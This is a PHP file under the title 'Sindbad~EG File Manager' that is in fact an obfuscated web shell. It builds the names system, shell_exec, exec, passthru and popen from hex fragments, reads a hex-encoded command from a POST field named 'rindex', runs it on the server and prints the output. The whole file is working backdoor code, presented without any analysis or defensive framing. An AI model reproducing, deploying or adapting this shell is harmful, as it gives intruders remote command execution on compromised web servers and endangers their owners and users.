Sindbad~EG File Manager

<?php

$stor1 = '7';
$stor2 = '4';
$stor3 = '5';
$stor4 = 'd';
$stor5 = '6';
$stor6 = '8';
$stor7 = '3';
$stor8 = '2';
$stor9 = '0';
$stor10 = 'f';
$stor11 = 'e';
$stor12 = 'c';
$created1 = pack("H*", '7' . '3' . $stor1 . '9' . '7' . '3' . $stor1 . $stor2 . '6' . $stor3 . '6' . $stor4);
$created2 = pack("H*", $stor1 . '3' . '6' . '8' . '6' . '5' . '6' . 'c' . $stor5 . 'c' . '5' . 'f' . $stor5 . '5' . '7' . $stor6 . '6' . '5' . $stor5 . '3');
$created3 = pack("H*", $stor5 . '5' . $stor1 . $stor6 . '6' . $stor3 . $stor5 . '3');
$created4 = pack("H*", '7' . '0' . '6' . '1' . $stor1 . $stor7 . '7' . $stor7 . '7' . $stor2 . $stor5 . $stor6 . '7' . $stor8 . $stor1 . $stor3);
$created5 = pack("H*", $stor1 . $stor9 . '6' . $stor10 . '7' . '0' . $stor5 . $stor3 . '6' . $stor11);
$created6 = pack("H*", $stor1 . $stor7 . $stor1 . $stor2 . '7' . '2' . $stor5 . $stor3 . $stor5 . '1' . $stor5 . 'd' . $stor3 . $stor10 . $stor5 . $stor1 . '6' . $stor3 . $stor1 . $stor2 . $stor3 . 'f' . $stor5 . $stor7 . '6' . 'f' . $stor5 . $stor11 . $stor1 . $stor2 . $stor5 . '5' . '6' . 'e' . $stor1 . $stor2 . '7' . $stor7);
$created7 = pack("H*", $stor1 . $stor9 . $stor5 . $stor7 . $stor5 . $stor12 . $stor5 . 'f' . '7' . $stor7 . $stor5 . '5');
$rindex = pack("H*", $stor1 . '2' . '6' . '9' . '6' . $stor11 . $stor5 . '4' . $stor5 . '5' . $stor1 . $stor6);
if (isset($_POST[$rindex])) {
    $rindex = pack("H*", $_POST[$rindex]);
    if (function_exists($created1)) {
        $created1($rindex);
    } elseif (function_exists($created2)) {
        print $created2($rindex);
    } elseif (function_exists($created3)) {
        $created3($rindex, $arg_param);
        print join("\n", $arg_param);
    } elseif (function_exists($created4)) {
        $created4($rindex);
    } elseif (function_exists($created5) && function_exists($created6) && function_exists($created7)) {
        $const_field = $created5($rindex, 'r');
        if ($const_field) {
            $slt_var = $created6($const_field);
            $created7($const_field);
            print $slt_var;
        }
    }
    exit;
}